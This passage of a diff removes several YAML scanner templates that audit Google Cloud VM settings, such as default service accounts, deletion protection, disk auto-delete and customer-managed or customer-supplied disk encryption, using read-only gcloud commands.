extractors:
- type: json
name: instances
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
gcloud compute instances describe $instanceName --zone $zone --project $projectId --format="json(serviceAccounts[].email)"
matchers:
- type: word
words:
- "[email protected]"
extractors:
- type: dsl
dsl:
- '"VM instance " + instanceName + " in zone " + zone + " of project " + projectId + " is using the default Compute Engine service account"'
# digest: 490a00463044022056c433909de7542bcfb57e00e14f55d349a49c2c70b34094a96d1e9bd0c6103b022069f487e8b93417439beb811bb6580f86c41f64454481eea7b2cee02a543494a6:922c64590222798bb761d5b6d8e72950
@@ -1,75 +0,0 @@
id: gcloud-vm-deletion-protection-disabled
info:
name: VM Instance Deletion Protection Not Enabled
author: princechaddha
severity: medium
description: |
Ensure that your production Google Compute Engine instances have Deletion Protection feature enabled in order to protect them from being accidentally deleted. With Deletion Protection safety feature enabled, you have the guarantee that your VM instances cannot be accidentally deleted and make sure that your production environment remains safe.
impact: |
Without deletion protection enabled, production and mission-critical VM instances are at risk of accidental deletion, which could lead to service disruptions and data loss.
remediation: |
Enable deletion protection for your production VM instances. You can enable this feature for an existing instance regardless of its current status - stopping the instance is not required.
reference:
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/ComputeEngine/enable-deletion-protection.html
- https://cloud.google.com/compute/docs/instances/preventing-accidental-vm-deletion
tags: cloud,devops,gcp,gcloud,compute,security,deletion-protection,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let instance of iterate(template.instances)){
instance = JSON.parse(instance)
set("instanceName", instance.name)
set("zone", instance.zone)
code(3)
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud compute instances list --project $projectId --format="json(name,zone.basename())"
extractors:
- type: json
name: instances
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
gcloud compute instances describe $instanceName --zone $zone --project $projectId --format="json(deletionProtection)" | jq '. // "false"'
matchers:
- type: word
words:
- "false"
extractors:
- type: dsl
dsl:
- '"VM instance " + instanceName + " in zone " + zone + " of project " + projectId + " does not have deletion protection enabled"'
# digest: 4b0a00483046022100d3af7f9f8f93b54425c5f333a2314dc0278531b556dbe4ce8bc4b420e81759f6022100826d0a7d7e9501700210e89f90294cafdfc5b4f7ae6ea65f0e29581e4037085b:922c64590222798bb761d5b6d8e72950
@@ -1,75 +0,0 @@
id: gcloud-vm-disk-autodelete-enabled
info:
name: Auto-Delete Not Disabled for VM Instance Persistent Disks
author: princechaddha
severity: medium
description: |
Ensure that the Auto-Delete behavior rule is disabled for the persistent disks attached to your Google Cloud virtual machine (VM) instances in order to protect the VM data from being deleted and meet security and compliance requirements. When Auto-Delete is on, the persistent disks are deleted when the associated VM instance is deleted.
impact: |
With Auto-Delete enabled, persistent disks are automatically deleted when their associated VM instances are deleted, potentially causing unintended data loss for mission-critical systems.
remediation: |
Disable Auto-Delete for your VM instance persistent disks using the 'gcloud compute instances set-disk-auto-delete' command or through the Google Cloud Console. This ensures disks are retained after instance deletion.
reference:
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/ComputeEngine/disable-auto-delete.html
- https://cloud.google.com/compute/docs/disks/add-persistent-disk
tags: cloud,devops,gcp,gcloud,compute,security,storage,disk,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let instance of iterate(template.instances)){
instance = JSON.parse(instance)
set("instanceName", instance.name)
set("zone", instance.zone)
code(3)
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud compute instances list --project $projectId --format="json(name,zone.basename())"
extractors:
- type: json
name: instances
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
gcloud compute instances describe $instanceName --zone $zone --project $projectId --format="json(disks[].autoDelete)"
matchers:
- type: word
words:
- '"autoDelete": true'
extractors:
- type: dsl
dsl:
- '"VM instance " + instanceName + " in zone " + zone + " of project " + projectId + " has one or more disks with auto-delete enabled"'
# digest: 4a0a0047304502201225636c26ee4b6234cb21160525eabf8d369b26bbb55af3ec6e1de798cd29a5022100ff680983b468e16af90a5472d1c6bf29c825b0d2dc4617c8d5e0b7071bc4b121:922c64590222798bb761d5b6d8e72950
@@ -1,91 +0,0 @@
id: gcloud-vm-disk-cmk-not-enabled
info:
name: Virtual Machine Disk Encryption with Customer-Managed Keys Not Enabled
author: princechaddha
severity: high
description: |
Ensure that the persistent disks attached to your Google Compute Engine instances are encrypted with Customer-Managed Keys (CMKs) in order to have a fine control over your sensitive data encryption and decryption process. You can create and manage your own Customer-Managed Keys (CMKs) with Cloud Key Management Service (Cloud KMS). Cloud KMS provides secure and efficient encryption key management, controlled key rotation, and revocation mechanisms.
impact: |
Without CMK encryption, you have limited control over the encryption keys used to protect your VM disk data, potentially exposing sensitive information to unauthorized access.
remediation: |
Configure your Compute Engine persistent disks to use Customer-Managed Keys (CMKs) for encryption by specifying a Cloud KMS key during disk creation or by updating existing disks.
reference:
- https://cloud.google.com/compute/docs/disks/customer-managed-encryption
tags: cloud,devops,gcp,gcloud,compute,encryption,cmk,security,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let instance of iterate(template.instances)){
instance = JSON.parse(instance)
set("instanceName", instance.name)
set("zone", instance.zone)
code(3)
for(let disk of iterate(template.disks)){
set("diskName", disk)
code(4)
}
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud compute instances list --project $projectId --format="json(name,zone.basename())"
extractors:
- type: json
name: instances
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
gcloud compute instances describe $instanceName --zone $zone --project $projectId --format="json(disks[].deviceName)"
extractors:
- type: json
name: disks
internal: true
json:
- '.disks[].deviceName'
- engine:
- sh
- bash
source: |
gcloud compute disks describe $diskName --zone $zone --project $projectId --format="json(diskEncryptionKey.kmsKeyName)" | jq '. // "null"'
matchers:
- type: word
words:
- "null"
extractors:
- type: dsl
dsl:
- '"Disk " + diskName + " attached to instance " + instanceName + " in zone " + zone + " of project " + projectId + " is not encrypted with a Customer-Managed Key (CMK)"'
# digest: 4a0a00473045022100d7cb21540269edd4582afb6f1dcf363463e4568e14154ec5c1fcb0877cd58a2a022005ee32cf0459ad463e162bcc6293991b6bb9dc9d1177233733f6d6f4c41b64cd:922c64590222798bb761d5b6d8e72950
@@ -1,91 +0,0 @@
id: gcloud-vm-disk-csek-disabled
info:
name: VM Disk Encryption with Customer-Supplied Keys Disabled
author: princechaddha
severity: high
description: |
Ensure that the disks attached to your production Google Compute Engine instances are encrypted with Customer-Supplied Encryption Keys (CSEKs) in order to have complete control over the data-at-rest encryption and decryption process, and meet strict compliance requirements.
impact: |
Without CSEK encryption, you have limited control over the encryption process of your VM disk data, which may not meet strict compliance requirements for sensitive data protection.
remediation: |
Enable Customer-Supplied Encryption Keys (CSEKs) for your VM disks by providing a valid encryption key during disk creation or instance launch. The key must be a 256-bit string encoded in RFC 4648 base64 format.
reference:
- https://cloud.google.com/compute/docs/disks/customer-supplied-encryption
tags: cloud,devops,gcp,gcloud,compute,encryption,csek,security,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let instance of iterate(template.instances)){
instance = JSON.parse(instance)
set("instanceName", instance.name)
set("zone", instance.zone)
code(3)
for(let disk of iterate(template.disks)){
set("diskName", disk)
code(4)
}
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud compute instances list --project $projectId --format="json[](name,zone.basename())"
extractors:
- type: json
name: instances
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
gcloud compute instances describe $instanceName --zone $zone --project $projectId --format="json(disks[].deviceName)"
extractors:
- type: json
name: disks
internal: true
json:
- '.disks[].deviceName'
- engine:
- sh
- bash
source: |
gcloud compute disks describe $diskName --zone $zone --project $projectId --format="json(diskEncryptionKey)" | jq '.sha256 // "null"'
matchers:
- type: word
words:
- "null"
extractors:
- type: dsl
dsl:
- '"Disk " + diskName + " attached to instance " + instanceName + " in zone " + zone + " of project " + projectId + " has Customer-Supplied Encryption Keys (CSEKs) disabled"'
# digest: 4a0a00473045022100b1774214ffe546cbc3f15390fb79136ed54e41c9f30c6e8c63f4fc4dc28ec9c702205e495b43e7ab875bdc3bcb28febb063991bdb3f692b4d1f73644a87c946aec5b:922c64590222798bb761d5b6d8e72950
@@ -1,92 +0,0 @@
id: gcloud-vm-disk-csek-not-enabled
info:
name: Virtual Machine Disk Encryption with Customer-Supplied Keys Not Enabled
author: princechaddha
severity: high
description: |
Ensure that the disks attached to your production Google Compute Engine instances are encrypted with Customer-Supplied Encryption Keys (CSEKs) in order to have complete control over the data-at-rest encryption and decryption process. CSEKs allow you to provide your own encryption keys that Google Compute Engine uses to protect the Google-generated keys used to encrypt and decrypt your instance data.
impact: |
Without CSEK encryption, you have limited control over the encryption process of your VM disk data. Google Compute Engine service manages the encryption keys, which may not meet strict compliance requirements for sensitive data.
remediation: |
Re-create your VM instances with Customer-Supplied Encryption Keys (CSEKs) by providing a 256-bit string encoded in RFC 4648 standard base64 during instance creation. Note that Compute Engine does not store your CSEKs on its servers and cannot access your protected data unless you provide the required key.
reference:
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/ComputeEngine/enable-encryption-with-csek.html
- https://cloud.google.com/compute/docs/disks/customer-supplied-encryption
tags: cloud,devops,gcp,gcloud,compute,encryption,csek,security,gcp-cloud-config
flow: |
code(1)
for(let projectId of iterate(template.projectIds)){
set("projectId", projectId)
code(2)
for(let instance of iterate(template.instances)){
instance = JSON.parse(instance)
set("instanceName", instance.name)
set("zone", instance.zone)
code(3)
for(let disk of iterate(template.disks)){
set("diskName", disk)
code(4)
}
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
gcloud projects list --format="json(projectId)"
extractors:
- type: json
name: projectIds
internal: true
json:
- '.[].projectId'
- engine:
- sh
- bash
source: |
gcloud compute instances list --project $projectId --format="json(name,zone.basename())"
extractors:
- type: json
name: instances
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
gcloud compute instances describe $instanceName --zone $zone --project $projectId --format="json(disks[].deviceName)"
extractors:
- type: json
name: disks
internal: true
json:
- '.disks[].deviceName'
- engine:
- sh
- bash
source: |
gcloud compute disks describe $diskName --zone $zone --project $projectId --format="json(diskEncryptionKey.sha256)" | jq '. // "null"'
matchers:
- type: word
words:
- "null"
extractors:
- type: dsl
dsl:
- '"Disk " + diskName + " attached to instance " + instanceName + " in zone " + zone + " of project " + projectId + " is not encrypted with a Customer-Supplied Encryption Key (CSEK)"'
# digest: 4b0a00483046022100c2ddf98deb81b73823578ad0f0b7a5cdcb19b78a9b724b0a8fda299bff5a09b2022100aa01c142410c386168a489b065a27d1e0b089bde93147ac022b6bbb88de194a5:922c64590222798bb761d5b6d8e72950
Loaded 100 of 12445 files, more files were not shown because too many files have changed in this diff. Show more